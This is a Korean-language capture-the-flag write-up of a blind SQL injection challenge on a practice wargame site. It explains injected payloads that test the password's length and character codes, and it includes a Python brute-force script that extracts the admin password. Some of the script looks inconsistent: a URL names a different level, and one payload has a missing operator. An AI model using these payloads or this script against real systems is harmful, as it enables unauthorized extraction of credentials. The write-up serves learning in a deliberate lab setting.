blind sql injection 유형의 문제이다. 이부분이 상당히 멘붕을 불러일으킨다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 이 부분에서 pw로 넘어오는 곳의 '같은 것들을 필터링하고 자신이 입력한 pw와 db의 pw를 비교하여 필터링 하는 것을 알 수 있다 즉 올바른 비밀번호를 입력하여야 한다는 것
우선은 비밀번호의 길이를 알아 보기 위해 다음과 같은 구문을 주입한다.
'or id='admin' and length(pw)>5 %23 // pw의 길이가 5이상이면 hello admin이 뜰 것이다. 따라서 정확한 길이를 알기 위해서 삽질을 시작한다.
길이를 알았다면 하나하나씩 db가 뱉어내는 반응을 보면서 패스워드를 알아낸다.
' || ascii(id)-103 && ascii(substr(pw,1,1))>40 %23'을 입력하게 되면 아스키 코드 값으로 pw의 첫번쨰 글자가 40 이상인지 알 수 있게 된다. 따라서 삽질을 시작하면 알 수 있다.
또한 ascii(id)-103을 하는 이유는 잘 모르지만 테이블이 guest 다음에 admin순으로 되어 있따 따라서 ascii(id)를 할 경우 첫번째 값을 가져오는데 103은 g이기 떄문에 첫번쨰를 뺴고 두번째 admin을 구하기 위해 넣어 주는 것이다.
ascii(id)-103 구문 대신 id='admin' 구문을 넣어주어도 댄다
blind_sql_injection python
import requests
import re
custom_headers = {
'User-Agent': 'Dalvik/2.1.0',
'Host': 'los.sandbox.cash',
'Connection': 'Keep-Alive',
'Cookie': '__cfduid=ded2179a317b40c718482d2535a9b2a2b1472712358; PHPSESSID=3sg1cotftroqovpkgsq466rri1'
}
''' #r = requests.get("http://los.sandbox.cash/chall/orc_c6199859b81e3a30d63d948875f6a3dd.php?pw=%27%20||id=%27admin%27%20ascii(substr(pw,1,1))%20=%2750",headers=custom_headers) '''
key=0
id=''
for i in range(1,100):
head1="http://los.sandbox.cash/chall/orge_724bc99aec5d0ec3664912dfacdca45a.php?pw=%27%20||id='admin'%26%26length(pw)="
head2="%d %%23" % i
print head1+head2
r=requests.get(head1+head2,headers=custom_headers)
aa=''
aa=r.content
r=aa.find("Hello admin")
if r>0:
key=i
print ("find")
break
print "key length is %d" % key
for i in range(1,key+1):
for j in range(36,127):
head1="http://los.sandbox.cash/chall/orge_724bc99aec5d0ec3664912dfacdca45a.php?pw=%27%20||id='admin'%20ascii(substr(pw,"
head2="%d" % i
head3=",1))%20=%27"
head4="%d" % j
''' print head1+head2+head3+head4 '''
r=requests.get(head1+head2+head3+head4,headers=custom_headers)
aa=''
aa=r.content
r=aa.find("Hello admin")
if r>0:
id+= chr(j)
print ("find %s" % id)
break
print "key is %s" %(id)